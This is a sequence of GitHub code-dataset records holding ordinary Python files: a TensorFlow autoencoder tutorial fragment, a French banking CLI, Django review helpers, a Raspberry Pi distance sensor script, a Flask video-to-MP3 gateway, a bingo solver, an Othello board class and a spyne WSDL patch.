range(len(layer_shapes)-1):\n                w_name = 'w_%i'%i\n                b_name = 'b_%i'%i\n                w_shape = (layer_shapes[i],layer_shapes[i+1])\n                w_dict[w_name] = tf.Variable(self.init_fn(w_shape), dtype=tf.float32, name=w_name)\n                b_shape = layer_shapes[i+1]\n                b_dict[b_name] = tf.Variable(tf.zeros(b_shape), dtype=tf.float32, name=b_name)\n\n        # create layers\n        layers = {}\n        layers[0] = X\n        with tf.name_scope('layers'):\n            for i, (w,b) in enumerate(zip(w_dict.values(),b_dict.values())):\n                if i < len(w_dict)-1:\n                    layers[i+1] = self.act_fn(tf.matmul(layers[i],w)+b) \n                else:\n                    layers[i+1] = tf.matmul(layers[i],w)+b\n        \n        # create phases\n        mid_idx = int((len(w_dict)-1) / 2)\n        n_phases = mid_idx\n        phase_training_ops = []\n\n        for phase_idx in range(n_phases):\n            pass\n\nif __name__=='__main__':\n    tf.reset_default_graph()\n    from keras.datasets.mnist import load_data\n    (xtrain,xtest),(ytrain,ytest) = load_data()\n    from sklearn.preprocessing import StandardScaler, MinMaxScaler\n    xtrain = MinMaxScaler((0,1)).fit_transform(xtrain.astype('float64').reshape(xtrain.shape[0],-1))\n\n\n    h_layers = [300, 150, 300]\n    act_fn = 'elu'\n    lr = 1e-2\n    l2_pen = 1e-4\n    sae = tfStackedAutoEncoder(h_layers=h_layers)\n    layers = sae.fit(xtrain)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ncullen93/tensorflow_portfolio","sub_path":"tutorials/tf_stacked_ae.py","file_name":"tf_stacked_ae.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"33244764357","text":"from insertion import *\nfrom connexion import *\nfrom affichage import *\nfrom suppression import *\nfrom time import sleep\n\n\ndef main():\n    \"\"\"Fonction pricipale\"\"\"\n    #Connexion à la BDD\n    conn, cur = connexion()\n    continuer = True\n    # Boucle principale\n    while continuer:\n        afficheMenuPrincipal()\n        #Demande du choix de l'utilisateur\n        reponse = int(input(\"Votre choix : \"))\n        #Tant que la reponse n'est pas valide\n        while reponse < 1 or reponse > 9:\n            print(\"Veuillez entrer un numero correct.\")\n            reponse = int(input(\"Votre choix : \"))\n\n        #Si l'utilisateur choisit l'option d'ajout\n        if reponse == 1:\n            afficheMenuInsertion()\n            repInsertion = int(input(\"Votre choix : \"))\n            while repInsertion < 1 or repInsertion > 3:\n                print(\"Veuillez entrer un numero correct.\")\n                repInsertion = int(input(\"Votre choix : \"))\n            if repInsertion == 1:\n                insererClient(conn, cur)\n                sleep(2)\n            elif repInsertion == 2:\n                afficheMenuInsertionCompte()\n                repInsertionCompte = int(input(\"Votre choix : \"))\n                while repInsertionCompte < 1 or repInsertionCompte > 4:\n                    print(\"Veuillez entrer un numero correct.\")\n                    repInsertionCompte = int(input(\"Votre choix : \"))\n                if repInsertionCompte == 1:\n                    insererCompteCourant(conn, cur)\n                    sleep(2)\n                elif repInsertionCompte == 2:\n                    insererCompteRevolving(conn, cur)\n                    sleep(2)\n                elif repInsertionCompte == 3:\n                    insererCompteEpargne(conn, cur)\n                    sleep(2)\n            elif repInsertion == 3:\n                insererAppartenir(conn, cur)\n                sleep(2)\n            else:\n                insererOperation(conn, cur)\n                sleep(2)\n        #Si l'utilisateur choisit l'option de modification\n        elif reponse == 2:\n            afficheMenuModification()\n            repModification = int(input(\"Votre choix : \"))\n            while repModification < 1 or repModification > 2:\n                print(\"Veuillez entrer un numero correct.\")\n                repModification = int(input(\"Votre choix : \"))\n            if repModification == 1:\n                UpdateClient(conn, cur)\n            else:\n                UpdateCompte(conn, cur)\n\n\n        #Si l'utilisateur choisit l'option de suppression\n        elif reponse == 3:\n            afficheMenuSuppression()\n            repSuppresion = int(input(\"Votre choix : \"))\n            while repSuppresion < 1 or repSuppresion > 3:\n                print(\"Veuillez entrer un numero correct.\")\n                repSuppresion = int(input(\"Votre choix : \"))\n            if repSuppresion == 1:\n                supprimerClient(conn, cur)\n                sleep(2)\n            elif repSuppresion == 2:\n                supprimerCompte(conn, cur)\n                sleep(2)\n            else:\n                supprimeAppartenance(conn, cur)\n                sleep(2)\n        # Affichage de la BDD\n        elif reponse == 4:\n            dico_tables = {\"1\" : \"Client\", \"2\" : \"Compte\", \"3\" : \"Appartenir\", \"4\" : \"Operation\", \"5\" : \"MinMaxMois\"}\n            afficherMenuAffichage()\n            repAffiche = input(\"Entrez le numero correspondant à une table : \")\n            while (repAffiche not in [str(num) for num in range(1,6)]):\n                repAffiche = input(\"Numero invalide. Veuillez entrer un numero de table valide : \")\n            nb_resultats = int(input(\"Nombre de résultats souhaités : \"))\n            while nb_resultats < 0:\n                nb_resultats = int(input(\"Nombre de résultats souhaités : \"))\n            afficherTable(cur, dico_tables[repAffiche], nb_resultats)\n            sleep(2)\n        elif reponse == 5:\n            print(\"*** Solde d'un compte ***\")\n            date_creation = input(\"Date de creation du compte (YYYY-MM-DD) : \")\n            #Montant d'un compte\n            solde = getSoldeCompte(cur, date_creation)\n            if solde is None:\n                #Compte inexistant\n                print(\"Aucun compte cree à cette date.\")\n            else:\n                print(f\"Le solde du compte est de : {solde}\")\n            sleep(2)\n        #Si l'utilisateur veut savoir le nombre d'operation faite sur un compte\n        elif reponse == 6:\n            print(\"*** Nombre des cheques emis par un client ***\")\n            numero = input(\"Numero de telephone du client : \")\n            nombreChequeEmis = getNbCheque(cur, numero, \"E\")\n            #Si le numero de telephone ne correspond à aucun numero de la BDD\n            if nombreChequeEmis is None:\n                print(\"Aucun compte avec ce numero de telephone\")\n            else:\n                print(f\"Le nombre de cheques emis par ce client est de : {nombreChequeEmis}\")\n            sleep(2)\n        #Historique des opérations\n        elif reponse == 7:\n            print(\"*** Historique des opérations effectuées par un client ***\")\n            numero = input(\"Numéro de téléphone du client : \")\n            date1 = input(\"Date de début de période (YYYY-MM-DD) : \")\n            date2 = input(\"Date de fin de période (YYYY-MM-DD) : \")\n            getHistoriqueOperation(cur, numero, date1, date2)\n            sleep(2)\n        elif reponse == 8:\n            print(\"*** Somme des montants des opérations effectuées par un client ***\")\n            numero = input(\"Numéro de téléphone du client : \")\n            total = getSommeTotale(cur, numero)\n            if total is None:\n                print(\"Le client n'a jamais effectué d'opérations.\")\n            else:\n                print(f\"Le client a effectué des opérations pour un montant total de {total} €.\")\n            sleep(2)\n        #Si l'utilisateur souhaite quitter le programme\n        else:\n            print(\"Vous allez quitter le programme.\")\n            continuer = False\n            close(conn)\n            sleep(2)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"antoine-gajan/UTC-NF18","sub_path":"Partie 1/Rendu 4/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29116980794","text":"from itertools import chain\n\nfrom django.contrib.auth.models import User\nfrom django import forms\nfrom django.db.models import CharField, Value\n\nfrom .models import Review, Ticket, UserFollows\n\n\ndef get_users_viewable_reviews(user: User):\n    # Get it own reviews\n    user_reviews = Review.objects.filter(user__username=user.username)\n    user_reviews = user_reviews.annotate(\n        content_type=Value('REVIEW', CharField()))\n    return user_reviews\n\n\ndef get_users_viewable_tickets(user: User):\n    # Get it own tickets\n    user_tickets = Ticket.objects.filter(user__username=user.username)\n    user_tickets = user_tickets.annotate(\n        content_type=Value('TICKET', CharField()))\n    return user_tickets\n\n\ndef get_followed_users_viewable_reviews(user: User):\n    # Get reviews of followed users\n    users_follow = UserFollows.objects.filter(user__username=user.username)\n    followers_reviews = Review.objects.none()\n    for user_follow in users_follow:\n        user_follow_review = Review.objects.filter(\n            user__username=user_follow.followed_user.username)\n        user_follow_review = user_follow_review.annotate(\n            content_type=Value('REVIEW', CharField()))\n        followers_reviews = chain(followers_reviews, user_follow_review)\n    return followers_reviews\n\n\ndef get_followed_users_viewable_tickets(user: User):\n    # Get tickets of followed users\n    users_follow = UserFollows.objects.filter(user__username=user.username)\n    followers_tickets = Ticket.objects.none()\n    for user_follow in users_follow:\n        user_follow_ticket = Ticket.objects.filter(\n            user__username=user_follow.followed_user.username)\n        user_follow_ticket = user_follow_ticket.annotate(\n            content_type=Value('TICKET', CharField()))\n        followers_tickets = chain(followers_tickets, user_follow_ticket)\n    return followers_tickets\n\n\ndef get_followed_users(user: User):\n    # Get the list of all users followed by user\n    users_follow = UserFollows.objects.filter(user=user)\n    followed = []\n    for user_follow in users_follow:\n        followed.append(user_follow.followed_user)\n    return followed\n\n\ndef get_users_subscriber(user: User):\n    # Get the list of all users which follow the user\n    users_follow = UserFollows.objects.filter(followed_user=user)\n    followers = []\n    for user_follow in users_follow:\n        followers.append(user_follow.user)\n    return followers\n\n\ndef get_user_by_id(id: str):\n    return User.objects.filter(id=id)\n\n\ndef get_user_by_name(username: str):\n    return User.objects.filter(username=username)\n\n\ndef get_users_by_name(username: str):\n    return User.objects.filter(username__icontains=username)\n\n\ndef get_ticket_by_pk(pk: str):\n    ticket = Ticket.objects.filter(pk=pk)\n    ticket = ticket.annotate(\n        content_type=Value('REVIEW', CharField()))\n    return ticket\n\n\ndef get_review_by_pk(pk: str):\n    review = Review.objects.filter(pk=pk)\n    review = review.annotate(\n        content_type=Value('REVIEW', CharField()))\n    return review\n\n\ndef get_all_reviews():\n    # Get all reviews\n    reviews = Review.objects.all()\n    reviews = reviews.annotate(\n        content_type=Value('REVIEW', CharField()))\n    return reviews\n\n\ndef save_ticket(request, form: forms):\n    ticket = Ticket()\n    ticket.title = form.cleaned_data[\"title\"]\n    ticket.description = form.cleaned_data[\"description\"]\n    ticket.user = request.user\n    ticket.image = request.FILES.get('image_download', None)\n    ticket.save()\n    return ticket\n\n\ndef save_updated_ticket(request, form: forms, ticket: Ticket):\n    ticket.title = form.cleaned_data[\"title\"]\n    ticket.description = form.cleaned_data[\"description\"]\n    image = request.FILES.get('image_download', None)\n    if image is not None:\n        ticket.image = image\n    ticket.save()\n    return ticket\n\n\ndef delete_ticket(ticket: Ticket):\n    ticket.delete()\n\n\ndef save_review(request, form: forms):\n    review = Review()\n    if 'ticket_pk' in request.POST:\n        review.ticket = get_ticket_by_pk(request.POST.get('ticket_pk'))[0]\n        review.ticket.already_reviewed = True\n    else:\n        review.ticket = save_ticket(request, form)\n    review.rating = form.cleaned_data[\"rating\"]\n    rating = int(review.rating)\n    rating_empty_star = \"12345\"\n    rating_full_star = rating_empty_star[:rating]\n    rating_empty_star = rating_empty_star[rating:]\n    review.rating_full_star = rating_full_star\n    review.rating_empty_star = rating_empty_star\n    review.headline = form.cleaned_data[\"headline\"]\n    review.body = form.cleaned_data[\"body\"]\n    review.user = request.user\n    review.save()\n\n\ndef save_updated_review(request, form: forms, review: Review):\n    if 'ticket_pk' in request.POST:\n        review.ticket = get_ticket_by_pk(request.POST.get('ticket_pk'))[0]\n        review.ticket.already_reviewed = True\n    else:\n        review.ticket = save_updated_ticket(request, form, review.ticket)\n    review.rating = form.cleaned_data[\"rating\"]\n    rating = int(review.rating)\n    rating_empty_star = \"12345\"\n    rating_full_star = rating_empty_star[:rating]\n    rating_empty_star = rating_empty_star[rating:]\n    review.rating_full_star = rating_full_star\n    review.rating_empty_star = rating_empty_star\n    review.headline = form.cleaned_data[\"headline\"]\n    review.body = form.cleaned_data[\"body\"]\n    review.save()\n\n\ndef delete_review(review: Review):\n    review.delete()\n\n\ndef save_subscribtion(user: User, followed_user: User):\n    for user_follows in UserFollows.objects.all():\n        # Check if this user is not always followed\n        if (\n                user_follows.user == user\n                and\n                user_follows.followed_user == followed_user):\n            return\n    user_follow = UserFollows()\n    user_follow.user = user\n    user_follow.followed_user = followed_user\n    user_follow.save()\n\n\ndef delete_subscribtion(user: User, followed_user: User):\n    # Get all users followed by user\n    user_follow = UserFollows.objects.filter(\n        user=user,\n        followed_user=followed_user)\n    user_follow.delete()\n    # users_follow = UserFollows.objects.all()\n    # for user_follow in users_follow:\n    #     if (\n    #             user_follow.user == user\n    #             and\n    #             user_follow.followed_user == followed_user):\n    #         user_follow.delete()\n    #         break\n\n\ndef username_exists(username):\n    if User.objects.filter(username=username).exists():\n        return True\n\n    return False\n\n\ndef check_password_confirmation(form: forms):\n    if (\n            form.cleaned_data['password']\n            ==\n            form.cleaned_data['password_confirmation']):\n        return True\n    else:\n        # The password confirmation doesn't correspond to the\n        # password, we need to informed the user to its mistake.\n        form.add_error(\n            'password_confirmation',\n            'Vous n\\'avez pas renseigné '\n            'deux fois le même mot de passe.')\n        return False\n","repo_name":"sebastiengiordano/OC__DA_Python_P9","sub_path":"LITReview/reviews/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"34588325058","text":"import requests\n\n\nproduct_id = input(\"Give me pk of Item \")\n\n\n\n\nendpoint = f\"http://127.0.0.1:8000/api/products/{int(product_id)}/delete/\"\n\n\n\n\n\n\nget_response = requests.delete(endpoint)\n\nprint(\"-\"*20)\n\nprint(get_response.status_code)\n\n\n\n\n\n\n","repo_name":"LevanVans/DRF","sub_path":"drf/py_client/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7286643566","text":"# CamJam EduKit 3 - Robotics\r\n# Worksheet 6 - Measuring Distance\r\n\r\nimport time  # Import the Time library\r\n\r\nfrom gpiozero import DistanceSensor  # Import GPIO Zero Library\r\n\r\n# Define GPIO pins to use on the Pi\r\npintrigger = 17\r\npinecho = 18\r\n\r\nsensor = DistanceSensor(echo=pinecho, trigger=pintrigger)\r\n\r\nprint(\"Ultrasonic Measurement\")\r\n\r\ntry:\r\n    # Repeat the next indented block forever\r\n    while True:\r\n        print(\"Distance: %.1f cm\" % (sensor.distance * 100))\r\n        time.sleep(0.5)\r\n\r\n# If you press CTRL+C, cleanup and stop\r\nexcept KeyboardInterrupt:\r\n    exit()\r\n","repo_name":"CamJam-EduKit/EduKit3","sub_path":"CamJam Edukit 3 - GPIO Zero/Code/6-distance.py","file_name":"6-distance.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"47"}
{"seq_id":"34410841616","text":"import os\nfrom typing import Union, Optional\nimport gridfs\nimport pika\nimport json\n\nfrom flask import Flask, request, send_file, Response\nfrom flask_pymongo import PyMongo\nfrom bson.objectid import ObjectId\n\nfrom auth import validate\nfrom auth_svc import access\nfrom storage import util\n\n# Create server\nserver = Flask(__name__)\n\n# Allow PyMongo to manage connections between server and mongo video/mp3 db (store video and converted mp3 files)\nmongo_vid = PyMongo(server, uri=\"mongodb://host.minikube.internal:27017/videos\")\nmongo_mp3 = PyMongo(server, uri=\"mongodb://host.minikube.internal:27017/mp3s\")\n\n# Use MongoDB grid fs (grid file storage) (i.e. spec for storing large files in shards)\n# (one collection stores file chunks, other collection stores metadata)\nfs_vid = gridfs.GridFS(mongo_vid.db)\nfs_mp3 = gridfs.GridFS(mongo_mp3.db)\n\n# Create connection to RabbitMQ (queue to send messages for video processing jobs)\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host=\"rabbitmq\"))\nchannel = connection.channel()\n\n# login route\n@server.route(\"/login\", methods=[\"POST\"])\ndef login() -> Union[Optional[str], tuple[str, Optional[int]]]:\n    # Attempt to log user in\n    token, err = access.login(request)\n\n    # Return result\n    if err != None:\n        return token\n    else:\n        return err\n\n# video upload route\n@server.route(\"/upload\", methods=[\"POST\"])\ndef upload() -> Union[str, tuple[str, int]]:\n    # Attempt to valid user's provided JWT token\n    valid_access, err = validate.validate_token(request)\n    if err:\n        return err\n\n    # Deserialize JSON access string to Python string\n    valid_access = json.loads(valid_access)\n\n    # Check if user has admin privileges\n    if valid_access[\"admin\"]:\n        if len(request.files) != 1:\n            return \"Only one file required\", 400\n\n        for f in request.files.values():\n            # Upload file\n            err = util.upload(f, fs_vid, channel, valid_access)\n\n            # Return error\n            if err:\n                return err\n        \n        return \"Upload successful\", 200\n    else:\n        return \"Unauthorized user\", 401\n\n# MP3 download route\n@server.route(\"/download\", methods=[\"GET\"])\ndef download() -> Union[tuple[str, int], Response]:\n    # Attempt to valid user's provided JWT token\n    valid_access, err = validate.validate_token(request)\n    if err:\n        return err\n\n    # Deserialize JSON access string to Python string\n    valid_access = json.loads(valid_access)\n\n    # Check if user has admin privileges\n    if valid_access[\"admin\"]:\n        # Check that mp3 file ID exists\n        fid = request.args.get(\"fid\")\n        if fid is None:\n            return \"File ID must be provided\", 401\n        \n        # Retrieve MP3 file from fs_mp3\n        try:\n            mp3_file = fs_mp3.get(ObjectId(fid))\n            return send_file(mp3_file, download_name=f\"{fid}.mp3\")\n        except Exception as err:\n            print(err)\n            return \"Internal server error\", 400\n    return \"Unauthorized user\", 401\n\nif __name__ == \"__main__\":\n    server.run(host=\"0.0.0.0\", port=8080)","repo_name":"dchung117/vid-to-mp3-microservice","sub_path":"python/src/gateway/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38457752935","text":"import sys\ndef isBingo():\n\n    res = 0\n    # 가로 확인\n    for i in range(5):\n        flag = True\n        if 0 in check[i]:\n            flag = False\n        if flag:\n            res += 1\n\n    # 세로 확인\n    check_T = list(map(list,zip(*check)))\n    for i in range(5):\n        flag = True\n        if 0 in check_T[i]:\n            flag = False\n        if flag:\n            res += 1\n\n\n    # 대각선\n    r_flag, l_flag = True, True\n    for i in range(5):\n        if check[i][i] == 0:\n            r_flag = False\n        if check[i][4-i] == 0:\n            l_flag = False\n    if r_flag:\n        res += 1\n    if l_flag:\n        res += 1\n\n    if res >= 3:\n        return True\n    return False\n\n\nbingo = list()\nnumbers = list()\ncheck = [[0] * 5 for _ in range(5)]\ncount = 0\n\nfor _ in range(5):\n    bingo.append(list(map(int, sys.stdin.readline().split())))\nfor _ in range(5):\n    numbers.append(list(map(int, sys.stdin.readline().split())))\n\nfor number in numbers:\n    while number:\n        num = number.pop(0)\n        count += 1\n\n        for i in range(5):\n            for j in range(5):\n                if bingo[i][j] == num:\n                    check[i][j] = 1\n                    i = 5\n                    break\n\n        if count >= 5:\n            if isBingo() == True:\n                print(count)\n                exit()\n\n# def check1():\n#     total=0\n#\n#     for i in range(5):\n#         f=True\n#         if 0 in check[i]:\n#             f=False\n#         if f:\n#             total+=1\n#\n#     t_check = list(map(list, zip(*check)))\n#     for i in range(5):\n#         f=True\n#         if 0 in t_check[i]:\n#             f=False\n#         if f:\n#             total+=1\n#\n#\n#     r,c=True,True\n#     for i in range(5):\n#         if check[i][i]!=0:\n#             r=False\n#         if check[i][4-i]!=0:\n#             c=False\n#     if r:\n#         total+=1\n#     if c:\n#         total+=1\n#\n#     if total>=3:\n#         return True\n#     return False\n#\n#\n# binggo=[list(map(int,input().split())) for _ in range(5)]\n# teacher=[list(map(int,input().split())) for _ in range(5)]\n# check = [[0] * 5 for _ in range(5)]\n# cnt=0\n#\n# for i in teacher:\n#     while i:\n#         num=i.pop(0)\n#         cnt+=1\n#         for x in range(5):\n#             for y in range(5):\n#                 if binggo[x][y]==num:\n#                     check[x][y]=1\n#                     x=5\n#                     break\n#         if cnt>=5:\n#             if check1()==True:\n#                 print(cnt)\n#                 exit()\n","repo_name":"juyi212/Algorithm_study","sub_path":"0922/s2578_binggo.py","file_name":"s2578_binggo.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19313950916","text":"from model.players import Players\n\nclass Board:\n    EMPTY_CELL = '' \n\n    def __init__(self, size):\n        \"\"\"Initializes board attributes\n\n        Args:\n            size(int) = user input size \n        \"\"\"\n        self.size = size\n\n        #allocate the board with empty squares \n        self.board = [[self.EMPTY_CELL] * size for _ in range(size)]\n        \n        #initialize starting positions\n        self.mid = size // 2\n        self.board[self.mid-1][self.mid] = 'X'\n        self.board[self.mid - 1][self.mid - 1] = 'O'\n        self.board[self.mid][self.mid - 1] = 'X'\n        self.board[self.mid][self.mid] = 'O'\n\n    \n    def update_cell(self, row, column, player):\n        self.board[row][column] = player\n\n\n    def get_item(self, index):\n        \"\"\"Added board[][] undex syntax\n        index: subscript index as TUPLE\n        return: value 'X', 'O', or '' at index\n        \"\"\"\n        x,y = index[0], index[1]\n        return self.board[x][y]\n\n\n    def convert_to_tup(self, action): \n        \"\"\"Convert the input that comes in as a string into a tuple representing indices of matrix\n        Args: \n            action {str} -- ex1) 'A1'  ex2) 'B4'\n        Ret: \n            action {tup} ex1) (0,0) ex2) (3,1)\n        \"\"\"\n        row, col = str(action[1]).upper(), str(action[0]).upper()\n\n        if row in '12345678' and col in 'ABCDEFGH': #if row and col exist in selection area\n\n            x, y = '12345678'.index(row), 'ABCDEFGH'.index(col)\n            return x, y \n\n\n\n\n    def is_valid_location(self, row, col):\n        \"\"\"Returns True/False if row, col are within board range \n\n        Args:\n            row(list): row index of board matrix\n            col(list): column index of board matrix\n        \"\"\"\n        return row >= 0 and row <= self.size - 1 and col >= 0 and col <= self.size - 1\n\n\n\n    def count_tiles(self): \n        \"\"\" Will count the tiles for each player and return a dict {'X': count , 'O': count}\n        \"\"\"\n        tiles = {}  # key = player symbol, value = disks number\n\n        #iterate through matrix\n        for row in self.board:\n            for i in row:\n                if i in tiles: #if already in return dict\n                    tiles[i] += 1 #add to certain \n                else:\n                    tiles[i] = 1\n        return tiles\n\n    def is_full(self):\n        \"\"\"Go through each cell and see if empty. \n        Args:\n            n/a\n        Return:\n            TRUE if cells are EMPTY\n            FALSE if cells are NOT EMPTY\n        \"\"\"\n        for row in self.board:\n            if self.EMPTY_CELL not in row:\n                pass\n            else:\n                return False\n        return True\n\n\n\n","repo_name":"1aoxomoxoa1/othello_2","sub_path":"model/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27961894791","text":"from lxml import etree\nfrom lxml.etree import SubElement\nfrom lxml.builder import E\nimport spyne.const.xml as ns\nfrom spyne.const.xml import WSDL11\nfrom spyne.interface.wsdl.wsdl11 import check_method_port, _in_header_msg_suffix, _out_header_msg_suffix\n\n\ndef add_message_for_object(self, root, messages, obj, message_name):\n    if obj is not None and not (message_name in messages):\n        messages.add(message_name)\n\n        message = SubElement(root, WSDL11(\"message\"))\n        if (message_name.endswith('Response')):\n            message.set('name', message_name + 'Msg')\n        elif (message_name.endswith('Fault')):\n            message.set('name', f\"{message_name.split('_')[0][:-6]}_{message_name.split('_')[1]}Msg\")\n            # import ipdb \n            # ipdb.set_trace()\n        else:\n            message.set('name', message_name + 'RequestMsg')\n        \n\n        if isinstance(obj, (list, tuple)):\n            objs = obj\n        else:\n            objs = (obj,)\n\n        for obj in objs:\n            part = SubElement(message, WSDL11(\"part\"))\n            if (message_name.endswith('Response')):\n                part.set('name', message_name[:-8] + 'Result')\n            elif (message_name.endswith('Fault')):\n                part.set('name', message_name.split('_')[1])\n        # <xsd:element name=\"sendMessageFault1_sendMessageFault\" must match with method name\n            else:\n                part.set('name', message_name + 'Parameters')\n        \n            part.set('element', obj.get_element_name_ns(self.interface))\n\n\ndef add_port_type(self, service, root, service_name, types, url):\n    cb_port_type = self._add_callbacks(service, root, types,\n                                                            service_name, url)\n    applied_service_name = self._get_applied_service_name(service)\n\n    port_binding_names = []\n    port_type_list = service.get_port_types()\n    if len(port_type_list) > 0:\n        for port_type_name in port_type_list:\n            port_type = self._get_or_create_port_type(port_type_name)\n            port_type.set('name', port_type_name)\n\n            binding_name = self._get_binding_name(port_type_name)\n            port_binding_names.append((port_type_name, binding_name))\n\n    else:\n        port_type = self._get_or_create_port_type(service_name)\n        port_type.set('name', service_name)\n\n        binding_name = self._get_binding_name(service_name)\n        port_binding_names.append((service_name, binding_name))\n\n    for method in service.public_methods.values():\n        check_method_port(service, method)\n\n        if method.is_callback:\n            operation = SubElement(cb_port_type, WSDL11(\"operation\"))\n        else:\n            operation = SubElement(port_type, WSDL11(\"operation\"))\n\n        operation.set('name', method.operation_name)\n\n        if method.doc is not None:\n            operation.append(E(WSDL11(\"documentation\"), method.doc))\n\n        operation.set('parameterOrder', method.in_message.get_element_name())\n\n        op_input = SubElement(operation, WSDL11(\"input\"))\n        op_input.set('name', method.in_message.get_element_name() + 'Request')\n        op_input.set('message',\n                        method.in_message.get_element_name_ns(self.interface) + 'RequestMsg')\n\n        if (not method.is_callback) and (not method.is_async):\n            op_output = SubElement(operation, WSDL11(\"output\"))\n            op_output.set('name', method.out_message.get_element_name())\n            op_output.set('message', method.out_message.get_element_name_ns(\n                                                            self.interface) + 'Msg')\n\n            if not (method.faults is None):\n                for f in method.faults:\n                    fault = SubElement(operation, WSDL11(\"fault\"))\n                    fault.set('name',  method.in_message.get_element_name() + 'Fault')\n                    fault.set('message', '%s:%s' % (\n                                    f.get_namespace_prefix(self.interface),\n                                    f\"{method.in_message.get_element_name()}_{method.in_message.get_element_name()}FaultMsg\"))\n\n    ser = self.service_elt_dict[applied_service_name]\n    for port_name, binding_name in port_binding_names:\n        self._add_port_to_service(ser, port_name, binding_name)\n\n\ndef add_bindings_for_methods(self, service, root, service_name,\n                                    cb_binding):\n\n    pref_tns = self.interface.get_namespace_prefix(self.interface.get_tns())\n    input_binding_ns = ns.get_binding_ns(self.interface.app.in_protocol.type)\n    output_binding_ns = ns.get_binding_ns(self.interface.app.out_protocol.type)\n\n    def inner(method, binding):\n        operation = etree.Element(WSDL11(\"operation\"))\n        operation.set('name', method.operation_name)\n\n        soap_operation = SubElement(operation, input_binding_ns(\"operation\"))\n        soap_operation.set('soapAction', '')\n\n        # get input\n        input = SubElement(operation, WSDL11(\"input\"))\n        input.set('name', method.in_message.get_element_name() + 'Request')\n\n        soap_body = SubElement(input, input_binding_ns(\"body\"))\n        soap_body.set('use', 'literal')\n\n        # get input soap header\n        in_header = method.in_header\n        if in_header is None:\n            in_header = service.__in_header__\n\n        if not (in_header is None):\n            if isinstance(in_header, (list, tuple)):\n                in_headers = in_header\n            else:\n                in_headers = (in_header,)\n\n            if len(in_headers) > 1:\n                in_header_message_name = ''.join((method.name,\n                                                    _in_header_msg_suffix))\n            else:\n                in_header_message_name = in_headers[0].get_type_name()\n\n            for header in in_headers:\n                soap_header = SubElement(input, input_binding_ns('header'))\n                soap_header.set('use', 'literal')\n                soap_header.set('message', '%s:%s' % (\n                            header.get_namespace_prefix(self.interface),\n                            in_header_message_name))\n                soap_header.set('part', header.get_type_name())\n\n        if not (method.is_async or method.is_callback):\n            output = SubElement(operation, WSDL11(\"output\"))\n            output.set('name', method.out_message.get_element_name())\n\n            soap_body = SubElement(output, output_binding_ns(\"body\"))\n            soap_body.set('use', 'literal')\n\n            # get output soap header\n            out_header = method.out_header\n            if out_header is None:\n                out_header = service.__out_header__\n\n            if not (out_header is None):\n                if isinstance(out_header, (list, tuple)):\n                    out_headers = out_header\n                else:\n                    out_headers = (out_header,)\n\n                if len(out_headers) > 1:\n                    out_header_message_name = ''.join((method.name,\n                                                    _out_header_msg_suffix))\n                else:\n                    out_header_message_name = out_headers[0].get_type_name()\n\n                for header in out_headers:\n                    soap_header = SubElement(output, output_binding_ns(\"header\"))\n                    soap_header.set('use', 'literal')\n                    soap_header.set('message', '%s:%s' % (\n                            header.get_namespace_prefix(self.interface),\n                            out_header_message_name))\n                    soap_header.set('part', header.get_type_name())\n\n            if not (method.faults is None):\n                for f in method.faults:\n                    wsdl_fault = SubElement(operation, WSDL11(\"fault\"))\n                    # wsdl_fault.set('name', f.get_type_name())\n                    wsdl_fault.set('name', method.in_message.get_element_name() + 'Fault')\n\n                    soap_fault = SubElement(wsdl_fault, input_binding_ns(\"fault\"))\n                    # soap_fault.set('name', f.get_type_name())\n                    soap_fault.set('name', method.in_message.get_element_name() + 'Fault')\n                    soap_fault.set('use', 'literal')\n\n        if method.is_callback:\n            relates_to = SubElement(input, input_binding_ns(\"header\"))\n\n            relates_to.set('message', '%s:RelatesToHeader' % pref_tns)\n            relates_to.set('part', 'RelatesTo')\n            relates_to.set('use', 'literal')\n\n            cb_binding.append(operation)\n\n        else:\n            if method.is_async:\n                rt_header = SubElement(input, input_binding_ns(\"header\"))\n                rt_header.set('message', '%s:ReplyToHeader' % pref_tns)\n                rt_header.set('part', 'ReplyTo')\n                rt_header.set('use', 'literal')\n\n                mid_header = SubElement(input, input_binding_ns(\"header\"))\n                mid_header.set('message', '%s:MessageIDHeader' % pref_tns)\n                mid_header.set('part', 'MessageID')\n                mid_header.set('use', 'literal')\n\n            binding.append(operation)\n\n    port_type_list = service.get_port_types()\n    if len(port_type_list) > 0:\n        for port_type_name in port_type_list:\n\n            # create binding nodes\n            binding = SubElement(root, WSDL11(\"binding\"))\n            binding.set('name', self._get_binding_name(port_type_name))\n            binding.set('type', '%s:%s'% (pref_tns, port_type_name))\n\n            transport = SubElement(binding, input_binding_ns(\"binding\"))\n            transport.set('style', 'document')\n            transport.set('transport', self.interface.app.transport)\n\n            for m in service.public_methods.values():\n                if m.port_type == port_type_name:\n                    inner(m, binding)\n\n    else:\n        # here is the default port.\n        if cb_binding is None:\n            cb_binding = SubElement(root, WSDL11(\"binding\"))\n            cb_binding.set('name', service_name)\n            cb_binding.set('type', '%s:%s'% (pref_tns, service_name))\n\n            transport = SubElement(cb_binding, input_binding_ns(\"binding\"))\n            transport.set('style', 'document')\n            transport.set('transport', self.interface.app.transport)\n\n        for m in service.public_methods.values():\n            inner(m, cb_binding)\n\n    return 